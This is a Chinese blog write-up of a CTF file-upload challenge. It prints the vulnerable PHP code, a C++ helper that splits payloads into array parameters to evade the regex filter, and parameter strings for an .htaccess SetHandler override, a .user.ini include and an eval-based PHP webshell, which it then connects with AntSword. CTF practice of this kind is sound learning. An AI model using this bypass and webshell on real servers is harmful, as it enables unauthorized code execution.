.htaccess绕过后缀名检测

.htaccess绕过后缀名检测

也是浪爷检测一下学习成果,放了一道题给我,靶场放在这里:139.9.251.90:8888

这是一道关于upload的题目,首先可以打开靶场,得到php代码:

<?php
highlight_file(__FILE__);
#### easy game

$upload = 'upload/'.md5("2021".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.php', '');
var_dump($upload);

if (isset($_POST['file']) && isset($_POST['file'])){
    if(preg_match('#.+\.ph(p[3457]?|t|tml)$|/#is',$_POST['file'])){
        die('file error');
    }
    if(preg_match('#\w{2,}|[678]|<\?|/#',$_POST['content'])){
        die('content error');
    }
    file_put_contents($upload.'/'.$_POST['file'], $_POST['content']);
}

if (isset($_GET['reset'])){
    @rmdir($upload);
} 

映入眼帘的就是两个正则匹配

下面简单的代码审计一下:

在判断语句的是上面是一个创建目录的代码,会根据当前的ip地址分配创建一个upload下的目录,然后会打印在最下方,我们要做的就是上传一句话木马然后拿到webshell。路径已经给了,现在的问题就是怎么上传。

上面说过了最显眼的就是那两个正则匹配,一个是匹配文件名后缀是否为php及其各种版本比如php3,5等等,还有奇形怪状的phtml。

第二个正则匹配会匹配字符和数字,但是一个光秃秃的字符和数字不会被匹配。这个时候可以考虑用数组绕过,由于能力有限不会python,这边用C++代替了,exp:

#include <iostream>
#include <cstring>
//const string b="content";
using namespace std;
int main(){
    freopen("a.in","r",stdin);
    freopen("a.out","w",stdout);
    string a;
    cin>>a;
    int c=a.length();
    for(int i=0;i<c;i++){
        cout<<"content"<<"["<<i+12<<"]="<<a[i];
        cout<<"&";
    }
    return 0;
}

/*file=.user.ini&content[1]=a&content[2]=u&content[3]=t&content[4]=o&content[5]=_&content[6]=p&content[7]=r&content[8]=e&content[9]=p&content[10]=e&content[11]=n&content[12]=d&content[13]=_&content[14]=f&content[15]=i&content[16]=l&content[17]=e&content[18]==&content[19]=f&content[20]=.&content[21]=t&content[22]=x&content[23]=t*/
//content[1]=S&content[2]=e&content[3]=t&content[4]=H&content[5]=a&content[6]=n&content[7]=d&content[8]=l&content[9]=e&content[10]=r&content[11]=%20
//content[12]=a&content[13]=p&content[14]=p&content[15]=l&content[16]=i&content[17]=c&content[18]=a&content[19]=t&content[20]=i&content[21]=o&content[22]=n&content[23]=/&content[24]=x&content[25]=-&content[26]=h&content[27]=t&content[28]=t&content[29]=p&content[30]=d&content[31]=-&content[32]=p&content[33]=h&content[34]=p
//file=f.txt&content[1]=<&content[2]=?&content[3]=p&content[4]=h&content[5]=p&content[6]=%20&content[7]=@&content[8]=e&content[9]=v&content[10]=a&content[11]=l&content[12]=(&content[13]=$&content[14]=_&content[15]=P&content[16]=O&content[17]=S&content[18]=T&content[19]=[&content[20]='&content[21]=a&content[22]=t&content[23]=t&content[24]=a&content[25]=c&content[26]=k&content[27]='&content[28]=]&content[29]=)&content[30]=;&content[31]=?&content[32]=>

下面的注释是用来备份的,可以忽略掉。

下面就是比较重要的一点了:怎么上传。

最早想用phps上传的,因为phps并没有被过滤,但是用了phps并不能解析内部的php代码,于是想到了用.user.ini的方式进行文件包含,先上传.user.ini然后利用文件包含打开php,但是直接否定掉了,因为不能上传php文件,所以压根不存在上传webshell。

翻看以前写过的笔记,从upload labs里面的less-4找到了点灵感,上传一个.htaccess文件,文件中加入SetHandler application/x-httpd-php,这个之前是有遇到过的,这样就会让所有的文件都会当成php来解析,这样我们随意上传一个有一句话木马的txt文件然后解析,就能成功用蚁剑连接了。

蚁剑连接之后,在根目录发现了一个readflag,身为小白的我直接打开了他,发现了一堆二进制代码,后来是syc某位师傅告诉我用命令行打开我才发现,flag原本是存在于root目录下的,我权限不够,用命令行读取readflag才能拿到flag。

这道题花了挺长时间的,考察的也挺全面,从正则匹配的绕过到经典的upload,考验菜鸟的融会贯通知识点能力,是道不错的逆天伞兵题目。
点赞

发表回复

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像